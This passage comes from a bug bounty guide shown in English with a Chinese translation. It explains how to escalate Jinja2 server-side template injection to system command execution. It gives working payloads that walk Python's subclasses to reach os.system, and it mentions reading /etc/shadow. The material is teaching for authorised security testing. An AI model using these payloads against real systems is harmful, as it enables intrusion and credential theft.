- The Guide to Finding and Reporting Web Vulnerabilities
- About the Author
- About the Tech Reviewer
- Foreword
- Introduction
- Who This Book Is For
- What Is In This Book
- Happy Hacking!
- 1 Picking a Bug Bounty Program
- 2 Sustaining Your Success
- 3 How the Internet Works
- 4 Environmental Setup and Traffic Interception
- 5 Web Hacking Reconnaissance
- 6 Cross-Site Scripting
- 7 Open Redirects
- 8 Clickjacking
- 9 Cross-Site Request Forgery
- 10 Insecure Direct Object References
- 11 SQL Injection
- 12 Race Conditions
- 13 Server-Side Request Forgery
- 14 Insecure Deserialization
- 15 XML External Entity
- 16 Template Injection
- 17 Application Logic Errors and Broken Access Control
- 18 Remote Code Execution
- 19 Same-Origin Policy Vulnerabilities
- 20 Single-Sign-On Security Issues
- 21 Information Disclosure
- 22 Conducting Code Reviews
- 23 Hacking Android Apps
- 24 API Hacking
- 25 Automatic Vulnerability Discovery Using Fuzzers
Escalating the Attack
Once you’ve determined the template engine in use, you can start to escalate the vulnerability you’ve found. Most of the time, you can simply use the 7*7
payload introduced in the preceding section to prove the template injection to the security team. But if you can show that the template injection can be used to accomplish more than simple mathematics, you can prove the impact of your bug and show the security team its value.
一旦确定了使用的模板引擎,就可以开始升级发现的漏洞。大多数情况下,您可以简单地使用前面章节中介绍的 7 * 7 负载来证明模板注入的安全团队。但是,如果您可以显示模板注入可以用于完成更复杂的数学运算,那么就可以证明漏洞的影响,并向安全团队展示其价值。
Your method of escalating the attack will depend on the template engine you’re targeting. To learn more about it, read the official documentation of the template engine and the accompanying programming language. Here, I’ll show how you can escalate a template injection vulnerability to achieve system command execution in an application running Jinja2.
升级攻击的方式取决于你针对的模板引擎。要了解更多信息,请阅读模板引擎和相关编程语言的官方文档。在这里,我将展示如何将模板注入漏洞升级,以在运行 Jinja2 的应用程序中实现系统命令执行。
Being able to execute system commands is extremely valuable for the attacker because it might allow them to read sensitive system files like customer data and source code files, update system configurations, escalate their privileges on the system, and attack other machines on the network. For example, if an attacker can execute arbitrary system commands on a Linux machine, they can read the system’s password file by executing the command cat /etc/shadow
. They can then use a password-cracking tool to crack the system admin’s encrypted password and gain access to the admin’s account.
攻击者能够执行系统命令是非常有价值的,因为这可能允许他们读取敏感的系统文件,比如客户数据和源代码文件,更新系统配置,提升他们在系统上的权限,并攻击网络中的其他计算机。例如,如果攻击者能够在 Linux 机器上执行任意系统命令,他们可以通过执行 cat /etc/shadow 命令读取系统的密码文件。然后,他们可以使用密码破解工具来破解系统管理员的加密密码并访问管理员的帐户。
Searching for System Access via Python Code
Let’s circle back to our example application. We already know that you can execute Python code by using this template injection vulnerability. But how do you go on to execute system commands by injecting Python code?
让我们回到我们的示例应用。我们已经知道通过使用模板注入漏洞可以执行 Python 代码。但是,如何通过注入 Python 代码来执行系统命令呢?
from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")print(tmpl.render())
Normally in Python, you can execute system commands via the os.system()
function from the os
module. For example, this line of Python code would execute the Linux system command ls
to display the contents of the current directory:
通常情况下,在 Python 中,您可以通过 os 模块的 os.system() 函数执行系统命令。例如,这行 Python 代码会执行 Linux 系统命令 ls,以显示当前目录的内容。
os.system('ls')
However, if you submit this payload to our example application, you most likely won’t get the results you expect:
然而,如果您将此有效载荷提交到我们的示例应用程序中,您很可能无法获得您预期的结果。
GET /display_name?name={{os.system('ls')}}
Host: example.com
Instead, you’ll probably run into an application error:
相反,您可能会遇到应用程序错误:
jinja2.exceptions.UndefinedError: 'os' is undefined
This is because the os
module isn’t recognized in the template’s environment. By default, it doesn’t contain dangerous modules like os
. Normally, you can import Python modules by using the syntax import
MODULE , or from
MODULE import *
, or finally __import__('
MODULE ' )
. Let’s try to import the os
module:
这是因为模板环境中没有识别到`os`模块。默认情况下,它不包含像`os`这样的不安全模块。通常情况下,您可以通过以下语法导入 Python 模块:`import MODULE`,或者`from MODULE import *`,或最后`__import__('MODULE')`。让我们尝试导入`os`模块:
GET /display_name?name="{{__import__('os').system('ls')}}"
Host: example.com
If you submit this payload to the application, you will probably see another error returned:
如果您提交此有效负载到应用程序,则可能会返回另一个错误。
jinja2.exceptions.UndefinedError: '__import__' is undefined
This is because you can’t import modules within Jinja templates. Most template engines will block the use of dangerous functionality such as import
or make an allowlist that allows users to perform only certain operations within the template. To escape these limitations of Jinja2, you need to take advantage of Python sandbox-escape techniques.
这是因为在 Jinja 模板中不能导入模块。大多数模板引擎将阻止使用危险功能,例如导入或创建允许用户在模板中执行某些操作的白名单。为了摆脱 Jinja2 的这些限制,您需要利用 Python 沙箱逃逸技术。
Escaping the Sandbox by Using Python Built-in Functions
One of these techniques involves using Python’s built-in functions. When you’re barred from importing certain useful modules or importing anything at all, you need to investigate functions that are already imported by Python by default. Many of these built-in functions are integrated as a part of Python’s object
class, meaning that when we want to call these functions, we can create an object and call the function as a method of that object. For example, the following GET request contains Python code that lists the Python classes available:
其中一种技术包括使用 Python 的内置函数。当禁止导入某些有用的模块或根本不允许导入任何东西时,您需要调查 Python 默认已导入的函数。许多这些内置函数都是作为 Python 的对象类的一部分集成的,这意味着当我们想调用这些函数时,我们可以创建一个对象并将函数作为该对象的方法调用。例如,以下 GET 请求包含列出可用 Python 类的 Python 代码:
GET /display_name?name="{{[].__class__.__bases__[0].__subclasses__()}}"
Host: example.com
When you submit this payload into the template injection endpoint, you should see a list of classes like this:
当你将这个有效载荷提交到模板注入端点时,你应该会看到这样一个类列表:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>...]
To better understand what’s happening here, let’s break down this payload a bit:
为了更好地理解这里正在发生的事情,让我们简要分析一下这个有效载荷:
[].__class__.__bases__[0].__subclasses__()
It first creates an empty list and calls its __class__
attribute, which refers to the class the instance belongs to, list
:
首先创建一个空列表,并调用其 __class__ 属性,该属性指向实例所属的类,即列表类:
[].__class__
Then you can use the __bases__
attribute to refer to the base classes of the list
class:
你可以使用 __bases__ 属性来引用列表类的基类:
[].__class__.__bases__
This attribute will return a tuple (which is just an ordered list in Python) of all the base classes of the class list
. A base class is a class that the current class is built from; list
has a base class called object
. Next, we need to access the object
class by referring to the first item in the tuple:
这个属性将返回一个元组(在 Python 中只是一个有序列表),其中包含所有类列表的基类。基类是当前类构建的类;列表有一个名为 object 的基类。接下来,我们需要通过引用元组中的第一个项来访问 object 类:
[].__class__.__bases__[0]
Finally, we use __subclasses__()
to refer to all the subclasses of the class:
最后,我们使用__subclasses__() 来引用类的所有子类:
[].__class__.__bases__[0].__subclasses__()
When we use this method, all the subclasses of the object
class become accessible to us! Now, we simply need to look for a method in one of these classes that we can use for command execution. Let’s explore one possible way of executing code. Before we go on, keep in mind that not every application’s Python environment will have the same classes. Moreover, the payload I’ll talk about next may not work on all target applications.
当我们使用这种方法时,所有对象类的子类都可以被我们访问!现在,我们只需要在这些类中寻找一个能用于命令执行的方法。让我们探索一种可能的执行代码的方式。在继续之前,请记住,不是每个应用程序的 Python 环境都具有相同的类。此外,我接下来要谈论的有效负载可能无法在所有目标应用程序上运行。
The __import__
function, which can be used to import modules, is one of Python’s built-in functions. But since Jinja2 is blocking its direct access, you will need to access it via the builtins
module. This module provides direct access to all of Python’s built-in classes and functions. Most Python modules have __builtins__
as an attribute that refers to the built-in module, so you can recover the builtins
module by referring to the __builtins__
attribute.
__import__函数是 Python 内置函数之一,可用于导入模块。但由于 Jinja2 阻止其直接访问,因此您需要通过 builtins 模块访问它。该模块提供了对 Python 所有内置类和函数的直接访问。大多数 Python 模块都有__builtins__属性,该属性指向内置模块,因此您可以通过引用__builtins__属性来恢复 builtins 模块。
Within all the subclasses in [].__class__.__bases__[0].__subclasses__()
, there is a class named catch_warnings
. This is the subclass we’ll use to construct our exploit. To find the catch_warnings
subclass, inject a loop into the template code to look for it:
在[].__class__.__bases__[0].__subclasses__() 的所有子类中,有一个名为 catch_warnings 的类。 这是我们用来构造攻击的子类。 要找到 catch_warnings 子类,请将循环注入模板代码以寻找它:
1 {% for x in [].__class__.__bases__[0].__subclasses__() %}
2 {% if 'catch_warnings' in x.__name__ %}
3 {{x()}}
{%endif%}
{%endfor%}
This loop goes through all the classes in [].__class__.__bases__[0].__subclasses__()
1 and finds the one with the string catch_warnings
in its name 2 . Then it instantiates an object of that class 3 . Objects of the class catch_warnings
have an attribute called _module
that refers to the warnings
module.
此循环遍历[]中的所有类。__class__.__bases__[0].__subclasses__() 并查找名称中包含字符串 catch_warnings 的类。然后实例化该类的对象。 catch_warnings 类的对象具有称为_module 的属性,该属性引用 warnings 模块。
Finally, we use the reference to the module to refer to the builtins
module:
最终,我们使用对模块的引用来引用内置模块:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__}}
{%endif%}
{%endfor%}
You should see a list of built-in classes and functions returned, including the function __import__
:
你应该看到返回的内置类和函数列表,其中包括函数__import__:
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the 'nil' object; Ellipsis represents '...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, ...}
We now have a way to access the import functionality! Since the built-in classes and functions are stored in a Python dictionary, you can access the __import__
function by referring to the key of the function’s entry in the dictionary:
我们现在有一种访问导入功能的方法!由于内置类和函数存储在 Python 字典中,您可以通过引用函数条目在字典中的键来访问__import__函数:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__ ['__import__'] }}
{%endif%}
{%endfor%}
Now we can use the __import__
function to import the os
module. You can import a module with __import__
by providing the name of that module as an argument. Here, let’s import the os
module so we can access the system()
function:
现在我们可以使用__import__函数来导入 os 模块。您可以通过将该模块的名称作为参数来使用__import__导入模块。在这里,让我们导入 os 模块,以便我们可以访问 system() 函数:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__'] ('os') }}
{%endif%}
{%endfor%}
Finally, call the system()
function and put the command we want to execute as the system()
function’s argument:
最后,调用 system() 函数并将我们想要执行的命令作为 system() 函数的参数。
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system ('ls') }}
{%endif%}
{%endfor%}
You should see the results of the ls
command returned. This command lists the contents of the current directory. You’ve achieved command execution! Now, you should be able to execute arbitrary system commands with this template injection.
你应该看到 ls 命令返回的结果。此命令列出当前目录的内容。你已经成功执行了命令!现在,你应该能够使用此模板注入执行任意系统命令。
Submitting Payloads for Testing
For testing purposes, you should execute code that doesn’t harm the system you’re targeting. A common way of proving that you’ve achieved command execution and gained access to the operating system is to create a file with a distinct filename on the system, such as template_injection_by_YOUR_BUG_BOUNTY_USERNAME.txt , so that the file is clearly a part of your proof of concept. Use the touch
command to create a file with the specified name in the current directory:
为了测试目的,您应该执行不会损害目标系统的代码。证明您已经成功执行命令并获得了对操作系统的访问权限的一种常见方法是在系统上创建一个具有独特文件名的文件,例如 template_injection_by_YOUR_BUG_BOUNTY_USERNAME.txt,以便文件明显是您概念证明的一部分。使用 touch 命令在当前目录中创建具有指定名称的文件:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').system('touch template_injection_by_vickie.txt')}}
{%endif%}
{%endfor%}
Different template engines require different escalation techniques. If exploring this interests you, I encourage you to do more research into the area. Code execution and sandbox escapes are truly fascinating topics. We will discuss more about how to execute arbitrary code on target systems in Chapter 18. If you are interested in learning more about sandbox escapes, these articles discuss the topic in more detail (this chapter’s example was developed from a tip in Programmer Help):
不同的模板引擎需要不同的升级技术。如果您对此感兴趣,我鼓励您进一步研究这个领域。代码执行和沙箱逃逸是非常迷人的主题。我们将在第 18 章更多地讨论如何在目标系统上执行任意代码。如果您想了解更多有关沙箱逃逸的信息,这些文章会更详细地讨论该主题(本章的示例来自程序员帮助的提示)。
- CTF Wiki, https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- HackTricks, https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes/
- Programmer Help, https://programmer.help/blogs/python-sandbox-escape.html
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论